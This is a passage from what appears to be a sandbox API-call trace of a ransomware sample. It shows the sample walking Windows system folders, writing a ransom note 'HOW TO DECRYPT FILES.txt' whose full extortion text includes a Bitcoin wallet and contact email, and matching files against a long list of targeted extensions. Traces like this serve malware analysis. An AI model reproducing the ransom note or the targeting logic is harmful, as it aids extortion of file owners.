lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72756f73, dwReserved1=0x2e736563, cFileName="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport", cAlternateFileName="MICROS~2.UPD")) returned 1 [0100.190] lstrcmpA (lpString1=".", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport") returned -1 [0100.190] lstrcmpA (lpString1="..", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport") returned -1 [0100.190] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.190] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport" [0100.191] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport") returned 82 [0100.191] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.191] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.191] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.192] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.192] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.192] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 1 [0100.192] lstrcmpA (lpString1=".", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0100.192] lstrcmpA (lpString1="..", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0100.192] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\*.*") returned="*.*" [0100.192] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\", lpString2="6.1.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35" [0100.192] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35") returned 108 [0100.192] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.192] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.192] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.192] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.192] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.192] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbc42e01, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0xacec9500, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x4504b265, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", cAlternateFileName="")) returned 1 [0100.192] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.193] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll") returned -1 [0100.193] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll") returned -1 [0100.193] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll") returned -1 [0100.193] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0100.193] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\" [0100.193] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\") returned="" [0100.193] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.193] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.commands.updatediagreport\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.193] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.commands.updatediagreport\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.194] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.194] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.196] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.196] CloseHandle (hObject=0x90) returned 1 [0100.197] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll" [0100.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.ems") returned 0 [0100.197] lstrlenA (lpString="*.ems") returned 5 [0100.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.db") returned 0 [0100.197] lstrlenA (lpString="*.db") returned 4 [0100.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.dbf") returned 0 [0100.197] lstrlenA (lpString="*.dbf") returned 5 [0100.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.myox") returned 0 [0100.197] lstrlenA (lpString="*.myox") returned 6 [0100.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.myo") returned 0 [0100.197] lstrlenA (lpString="*.myo") returned 5 [0100.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.qbw") returned 0 [0100.197] lstrlenA (lpString="*.qbw") returned 5 [0100.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.qbb") returned 0 [0100.197] lstrlenA (lpString="*.qbb") returned 5 [0100.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.qbm") returned 0 [0100.197] lstrlenA (lpString="*.qbm") returned 5 [0100.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.qbo") returned 0 [0100.197] lstrlenA (lpString="*.qbo") returned 5 [0100.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.qbx") returned 0 [0100.198] lstrlenA (lpString="*.qbx") returned 5 [0100.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.qba") returned 0 [0100.198] lstrlenA (lpString="*.qba") returned 5 [0100.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.qby") returned 0 [0100.198] lstrlenA (lpString="*.qby") returned 5 [0100.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.qbj") returned 0 [0100.198] lstrlenA (lpString="*.qbj") returned 5 [0100.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.ofx") returned 0 [0100.198] lstrlenA (lpString="*.ofx") returned 5 [0100.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.qif") returned 0 [0100.198] lstrlenA (lpString="*.qif") returned 5 [0100.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.mye") returned 0 [0100.198] lstrlenA (lpString="*.mye") returned 5 [0100.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.mbox") returned 0 [0100.198] lstrlenA (lpString="*.mbox") returned 6 [0100.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.eml") returned 0 [0100.198] lstrlenA (lpString="*.eml") returned 5 [0100.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.pst") returned 0 [0100.198] lstrlenA (lpString="*.pst") returned 5 [0100.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.ost") returned 0 [0100.199] lstrlenA (lpString="*.ost") returned 5 [0100.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.idx") returned 0 [0100.199] lstrlenA (lpString="*.idx") returned 5 [0100.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.dbx") returned 0 [0100.199] lstrlenA (lpString="*.dbx") returned 5 [0100.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.sql") returned 0 [0100.199] lstrlenA (lpString="*.sql") returned 5 [0100.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.mdb") returned 0 [0100.199] lstrlenA (lpString="*.mdb") returned 5 [0100.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.fdb") returned 0 [0100.199] lstrlenA (lpString="*.fdb") returned 5 [0100.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.wab") returned 0 [0100.199] lstrlenA (lpString="*.wab") returned 5 [0100.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.dat") returned 0 [0100.199] lstrlenA (lpString="*.dat") returned 5 [0100.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.txt") returned 0 [0100.199] lstrlenA (lpString="*.txt") returned 5 [0100.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.jpeg") returned 0 [0100.199] lstrlenA (lpString="*.jpeg") returned 6 [0100.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.jpg") returned 0 [0100.199] lstrlenA (lpString="*.jpg") returned 5 [0100.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.png") returned 0 [0100.200] lstrlenA (lpString="*.png") returned 5 [0100.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.php") returned 0 [0100.200] lstrlenA (lpString="*.php") returned 5 [0100.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.cs") returned 0 [0100.200] lstrlenA (lpString="*.cs") returned 4 [0100.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.cpp") returned 0 [0100.200] lstrlenA (lpString="*.cpp") returned 5 [0100.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.rar") returned 0 [0100.200] lstrlenA (lpString="*.rar") returned 5 [0100.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.zip") returned 0 [0100.200] lstrlenA (lpString="*.zip") returned 5 [0100.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.html") returned 0 [0100.200] lstrlenA (lpString="*.html") returned 6 [0100.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.htm") returned 0 [0100.200] lstrlenA (lpString="*.htm") returned 5 [0100.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.xlsx") returned 0 [0100.200] lstrlenA (lpString="*.xlsx") returned 6 [0100.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.xls") returned 0 [0100.201] lstrlenA (lpString="*.xls") returned 5 [0100.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.mp4") returned 0 [0100.201] lstrlenA (lpString="*.mp4") returned 5 [0100.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.ppt") returned 0 [0100.201] lstrlenA (lpString="*.ppt") returned 5 [0100.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.pptx") returned 0 [0100.201] lstrlenA (lpString="*.pptx") returned 6 [0100.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.doc") returned 0 [0100.201] lstrlenA (lpString="*.doc") returned 5 [0100.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.dot") returned 0 [0100.201] lstrlenA (lpString="*.dot") returned 5 [0100.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.docx") returned 0 [0100.201] lstrlenA (lpString="*.docx") returned 6 [0100.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.7z") returned 0 [0100.201] lstrlenA (lpString="*.7z") returned 4 [0100.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.tar") returned 0 [0100.201] lstrlenA (lpString="*.tar") returned 5 [0100.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.dll", pszSpec="*.bz2") returned 0 [0100.202] lstrlenA (lpString="*.bz2") returned 5 [0100.202] PathMatchSpecA 